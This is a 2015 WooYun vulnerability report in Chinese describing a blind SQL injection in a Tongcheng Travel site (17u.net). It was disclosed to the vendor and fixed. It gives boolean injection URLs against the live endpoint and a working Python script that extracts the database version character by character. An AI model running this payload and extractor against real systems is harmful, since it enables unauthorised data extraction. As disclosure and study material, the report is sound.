当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111282

漏洞标题:苏州同程旅游某站点SQL盲注(非MySql测试代码)

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: loopx9

提交时间:2015-05-04 12:33

修复时间:2015-05-07 13:46

公开时间:2015-05-07 13:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-04: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-07: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

旗下站点一处sql盲注.

详细说明:

1=1有数据返回

http://www.17u.net/ebookhandler/labelajax.ashx?action=gettejiahotel&cityid=53%20and(1=1)&lat=39.94831&lon=116.2933


1=2没有数据返回:

http://www.17u.net/ebookhandler/labelajax.ashx?action=gettejiahotel&cityid=53%20and(1=2)&lat=39.94831&lon=116.2933


1.png

漏洞证明:

验证脚本:

#coding=utf-8
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req, timeout=10)

except Exception:
return 'Runtime Error'

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
lock.acquire()
result[index-1]= chr(mid)
sys.stdout.write('\r%s' % '@@version: '+''.join(result))
sys.stdout.flush()
lock.release()
break
payload = "(case when (ascii(substring(@@version,%s,1))<%s) then 53 else 0 end)" % (index, mid)
html = request('http://www.17u.net/ebookhandler/labelajax.ashx?action=gettejiahotel&lat=39.94831&lon=116.2933&cityid='+urllib.quote(payload))
verify = '8a1e3931bba8427eb6409a6d7e80a4ee.jpg'
if verify in html:
right = mid
else:
left = mid
def multi_run_wrapper(args):
return binary_sqli(*args)

if __name__ == '__main__':
result=list('*'*80)
lock=Lock()
args = []
for i in range(1,80):
args.append((32, 127, i))
pool = Pool(5)
out = pool.map(multi_run_wrapper, args)
pool.close()
pool.join()


17u.png

修复方案:

你懂的.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-05-04 12:38

厂商回复:

感谢关注同程旅游

最新状态:

2015-05-07:已修复,切了软WAF,请洞主回一下联系方式。


漏洞评价:

评论

  1. 2015-05-07 13:49 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    洞主联系方式。估计要查水表……

  2. 2015-05-07 15:16 | 苏州同程旅游网络科技有限公司(乌云厂商)

    @明月影 只是要手机号发京东礼品卡,你翻一下我们过去的漏洞就知道了,有白帽子确认收到的。

  3. 2015-05-07 20:41 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    @苏州同程旅游网络科技有限公司 好厂商啊……

  4. 2015-05-11 09:22 | 纳米翡翠 ( 普通白帽子 | Rank:316 漏洞数:42 | 翡翠虽小、价值极高,追求极致、共建安全)

    @明月影 的确有。

  5. 2015-05-16 18:43 | 糖剩七颗 ( 普通白帽子 | Rank:430 漏洞数:61 | 天涯何处无屌丝)

    没触发到waf吗?

  6. 2015-05-17 17:17 | 苏州同程旅游网络科技有限公司(乌云厂商)

    @糖剩七颗 不是全站在软WAF上的,这个location不在

  7. 2015-05-21 14:13 | loopx9 ( 核心白帽子 | Rank:602 漏洞数:62 | ..)

    @苏州同程旅游网络科技有限公司 礼品卡已收到